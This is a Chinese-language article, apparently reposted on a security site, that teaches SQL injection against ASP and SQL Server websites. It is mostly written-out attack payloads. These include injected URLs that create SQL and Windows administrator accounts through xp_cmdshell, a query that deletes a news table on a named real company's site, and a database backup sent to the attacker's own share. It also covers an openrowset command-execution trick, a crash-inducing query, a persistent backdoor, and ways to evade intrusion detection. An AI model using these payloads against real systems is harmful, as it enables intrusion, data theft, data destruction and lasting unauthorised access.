SQL資料庫的一些攻擊

對於國內外的很多新聞，BBS和電子商務網站都採用ASP+SQL設計，而寫 ASP的程式師很多（有很多剛剛畢業的），所以，ASP+SQL的攻擊成功率也比較高。 這類攻擊方法與NT的版本和SQL的版本沒有多大的關係，也沒有相應的補丁，因為漏洞是程式師自己造成的，而且大多數講解ASP程式設計的書上，原始程式碼例子就有這個漏洞存在，其實只是一些合法的ASP對SQL的請求，就留下後患無窮！ a這種攻擊方法最早源于'or'1'='1的漏洞（我們暫且稱其為漏洞），這個漏洞的原理我想大家因該都知道了，那麼隨之而來的便是;exec sp_addlogin hax（在資料庫內添加一個hax使用者），但是這個方法的限制很大， 首先ASP使用的SQL Server帳號是個管理員，其次請求的提交變 量在整個SQL語句的最後，因為有一些程式師採用SELECT * FROM news WHERE id=... AND topic=... AND ..... 這種方法請求資料庫，那麼如果還用以上的例子就會news.asp?id=2;exec sp_addlogin hax變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic= . .. AND ... 整個SQL語句在執行sp_addlogin的預存程序後有AND與判斷存在，語法錯誤，你的sp_addlogin 自然也不能正常運行了，因此試試看下面這個方法news.asp?id=2;exec sp_addlogin hax; --後面的--符號把sp_addlogin後的判斷語句變成了注釋，這樣就不會有語法錯誤了，sp_addlogin正常執行！ 那麼我們連一起來用吧news.asp?id=2;exec master.dbo. sp_addlogin hax;--news.asp?id=2;exec master.dbo. sp_password null,hax,hax;--news.asp?id=2;exec master.dbo. sp_addsrvrolemember sysadmin hax;--news.asp?id=2;exec master.dbo. xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--這樣，你在他的資料庫和系統內都留下了hax管理員帳號了當然，前提條件是ASP用管理員帳號，所以虛擬空間大家就別試了，不會存在這個漏洞的。 以後我們會討論，如果對方的ASP不是用SQL管理員帳號，我們如何入侵，當然也會涉及到1433埠的入侵當然大家可以試試看在id=2後面加上一個'符號，主要看對方的ASP怎麼寫了。 再說說當ASP程式使用的SQL帳號不是管理員的時候我們該如何做。 你如天融信的主頁，有新聞內容，如下：HTTP://www.talentit.com.cn/news/news-2.asp?newid=117大家可以試試看HTTP://www.talentit.com.cn/news/news-2.asp? newid=117;select 123;--呵呵，報語法錯誤，select 123錯誤，顯而易見，天融新的ASP在newid變數後面用'號結束那麼試試看HTTP://www.talentit.com.cn/news/news-2.asp? newid=117';delete news;--哈哈，我想只要表名猜對了，新聞庫就被刪了 通常ASP用的SQL帳號就算不是管理員也會是某個資料庫的owner,至少對於這個庫有很高的管理許可權但是我們不知道庫名該怎麼？ 看看db_name()函數吧打開你的query analyzer，看看print db_name() ，呵呵，當前的資料庫名就出來了以次類推，如下：declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共用目錄bak.dat' ,name='test';--呵呵，他的當前資料庫就備份到你的硬碟上了， 接下來要做的大家心裡都明白了吧同理這個方法可以找到對方的SQL的IP先裝一個防火牆，打開ICMP和139TCP和445TCP的警告提示然後試試看news.asp?id=2;exec master.dbo.xp_ cmdshell 'ping 你的IP'如果防火牆提示有人ping你，那麼因該可以肯定對方的ASP用的是SQL的管理員許可權， 同時也確定了對方的SQL Server的準確位置，因為很多大一點的網站考慮性能，會吧web服務和資料庫分開，當對方大上了補丁看不到原始程式碼時， 我想只有這個方法能很快的定位對方的SQL Server的位置了那麼，如果對方ASP沒有SQL管理員許可權，我們就不能調用xp_cmdshell了，該怎 麼辦？ 別著急，試試看這個news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共用目錄bak.dat' ,name='test';--呵呵， 你的防火牆該發出警告了，有人連接你的445或139(win9埠了，這樣，對方的SQL的ip一樣也可以暴露那麼如果對方連某個資料庫的owner也不是的話，我們該怎麼辦？ 下次我會告訴大家一個更好的辦法。 其實backuo database到你的硬碟還是有點誇張了，如果對方資料庫很龐大，你又是撥號上網，呵呵，勸你別試了，很難成功傳輸的下次我們還會談到如何騙過IDS執行ASP+SQL入侵目前有些好的IDS已經開始監視xp_ cmdshell這些關鍵字了好吧，同志們下次見 所有以上url希望大家通過vbscript提交，因為瀏覽器的網址列會遮罩一些特殊字元，這樣你的命令就不能完整傳輸了window.location.herf=URL 補充：這個問題以前載網上也提出來過，但是只是一些簡單的xp_cmdshell調用限制很大，其實這裡面還有很多值得深入的地方比如 www.guosen.com.cn。 國信證卷就有這個問題，而且他們採用ms的三層結構作的用以前說的xp_cmdshell做法就不行了，字串會被過濾，但是我嘗試了， 用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的帳號！ 由於對方防火牆很嚴checkpoint資料包進出 都只開放80埠因此，要想獲得他的資料庫結構比較困難了，但是還是有辦法可以做到的：P 順便提醒大家注意一下關于sqloledb,db_name,openrowset, opendatasource這些系統 函數當asp的sqlserver帳號只是一個普通使用者時，他們會很有用的！ sql server新漏洞和一些突破口下面我要談到一些sqlserver新的bug，雖然本人經過長時間的努力，當然也有點幸運的成分在內,才得以發現，不敢一個人獨享，拿出來請大家鑒別,當然很有可能有些高手早已知道了，畢竟我接觸sqlserver的時間不到1年 1。 關於openrowset和opendatasource 可能這個技巧早有人已經會了，就是利用openrowset發送本地命令 通常我們的用法是（包括MSDN的列子）如下 select * from openrowset(' sqloledb','myserver';' sa';'','select * from table') 可見（即使從字面意義上看)openrowset只是作為一個快捷的遠端資料庫訪問，它必須跟在 select後面，也就是說需要返回一個recordset 那麼我們能不能利用它調用xp_cmdshell呢？ 答案是肯定的！ select * from openrowset('sqloledb','server';' sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''') 必須加上set fmtonly off用來遮罩預設的只返回列資訊的設置，這樣xp_ cmdshell返回的output集合就會提交給前面的select顯示，如果採用 預設設置，會返回空集合導致select出錯，命令也就無法執行了。 那麼如果我們要調用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們就不能再依靠fmtonly設置了，可以如下操作 select * from openrowset('sqloledb',' server';' sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic') 這樣，命令至少會返回select 'OK!' 的集合，你的機器商會顯示OK!，同時對方的資料庫內 也會增加一個Hectic的帳號，也就是說，我們利用select 'OK!' 的返回集合欺騙了本地的select請求，是命令能夠正常執行，通理 sp_addsrvrolemember和opendatasource也可以如此操作！ 至於這個方法真正的用處，大家慢慢想吧2。 關於msdasql兩次請求的問題 不知道大家有沒有試過用msdasql連接遠端資料庫，當然這個api必須是sqlserver的管理員才可以調用，那麼如下 select * from openrowset('msdasql','driver={sql server};server=server;address=server, 1433;uid=sa;pwd=;database=master; network=dbmssocn','select * from table1 select * from table2') 當table1和table2的欄位數目不相同時，你會發現對方的sqlserver崩潰了，連本地連接都會失敗， 而系統資源佔用一切正常，用pskill殺死sqlserver進程後，如果不重啟機器，sqlserver要麼無法正常啟動，要麼時常出現非法操作，我也只是碰巧找到這個bug的，具體原因我還沒有 摸透， 而且很奇怪的是這個現象只出現在 msdasql上，sqloledb就沒有這個問題，看來問題不是在於請求集合數目和返回集合數目不匹配上，因該還是msdasql本身的問題，具體原因，大家一起慢慢研究吧3。 可怕的後門 以前在網上看到有人說在sqlserver上留後門可以通過添加triger,jobs或改寫sp_addlogin和 sp_addsrvrolemember做到，這些方法當然可行，但是很容易會被發現。 不知道大家有沒有想過sqloledb的本地連接映射。 呵呵，比如你在對方的sqlserver上用sqlserver的管理員帳號執行如下的命令 select * from openrowset('sqloledb','trusted_connection=yes;data source =Hectic',' set fmtonly off exec master.. xp_cmdshell ''dir c:\''') 這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserver不重啟，這個映射會一直存在下去，至少我現在還不知道如何發現別人放置的連接映射 ， 好了，以上的命令運行過後，你會發現哪怕是sqlserver沒有任何許可權的guest使用者，運行以上這條命令也一樣能通過！ 而且許可權是localsystem！ （預設安裝）呵呵！ 這個方法可以用來在以被入侵過獲得管理員許可權的 sqlserver上留下一個後門了。 以上的方法在sqlserver2000+sqlserver2000SP1上通過！ *另外還有一個猜測，不知道大家有沒有注意過windows預設附帶的兩個dsn，一個是localserver一個是msqi，這兩個在建立的時候是本地管理 員帳號連接sqlserver的， 如果對方的sqlserver是通過自訂的power user啟動， 那麼sa的許可權就和power user一樣，很難有所大作為，但是我們通過如下的命令 select * from openrowset('msdasql','dsn= locaserver;trusted_connection=yes', 'set fmtonly off exec master.. xp_cmdshell ''dirc:\''')應該可以利用localserver的管理員帳號連接本地sqlserver然後再以這個帳號的許可權執行本地命令了，這是後我想應該能突破sa那個power user許可權了。 現在的問題是sqloledb無法調用dsn連接，而msdasql 非管理員不讓調用，所以我現在正在尋找guest調用msdasql的方法，如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下， 這個發放如果能成功被guest利用，將會是一個很嚴重的安全性漏洞。 因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行利用t-sql騙過ids或攻擊ids現在的ids已經變得越來越聰明瞭 有的ids加入了xp_cmdshell sp_addlogin 的監視 但是畢竟人工智慧沒有出現的今天，這種監視總是有種騙人的感覺 先說說欺騙ids: ids既然監視xp_cmdshell關鍵字，那麼我們可以這麼做 declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\' 這個代碼象性大家都能看明白，還有xp_cmdshell作為一個store procedure 在master庫內有一個id號，固定的，我們也可以這麼做 假設這個id=988456 declare @a sysname select @a =name from sysobjects where id=988456 exec @a 'dir c:\' 當然也可以 declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\' 這種做法排列組合，ids根本不可能做的到完全監視 同理，sp_addlogin也可以這麼做再說說攻擊ids: 因為ids資料量很大，日至通常備份到常規資料庫，比如sql server如果用古老的recordset.addnew做法，會嚴重影響ids的性能，因為通過ado做t-sql請求， 不但效率高，而且有一部分工作可以交給sql server去做通常程式會這麼寫 insert table values ('日至內容',...) 那麼我麼想想看，如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交後會變成 insert table values ('日至內容'....'temp') exec xp _cmdshell 'dir c:\' -- ') 這樣，xp_cmdshell就可以在ids的資料庫運行了 ：） 當然ids是一個嗅歎器，他會抓所有的報，而瀏覽器提交的時候會把空格變成%20因此，%20會被提交到sql server， 這樣你的命令就無法執行了 唯一的辦法就是insert/**/table/**/values('日至內容'....'temp')/**/exec/**/ xp_cmdshell/**/'dir c:\'/**/-- ') 用/**/ 代替空格做間隔符，這樣你的t-sql才能在ids的資料庫內執行淡然也可以用其他語句，可以破壞，備份ids的資料庫到你的共用目錄 呵呵 其實這種方法的原理和攻擊asp是一樣的，只是把空格變成了/**/ 本來asp是select語句，那麼用'就可以遮罩 現在ids用insert語句，那麼用')遮罩 好了，其他很多新的入侵語句大家可以自己慢慢想，最好的測試控管就是query analyzer了。 責任編輯 趙毅 zhaoyi#51cto.com TEL:（010）68476636-8001 給力(0票)動心(0票)廢話(0票)專業(0票)標題党(0票)路過(0票) 原文：SQL資料庫的一些攻擊 返回網路安全首頁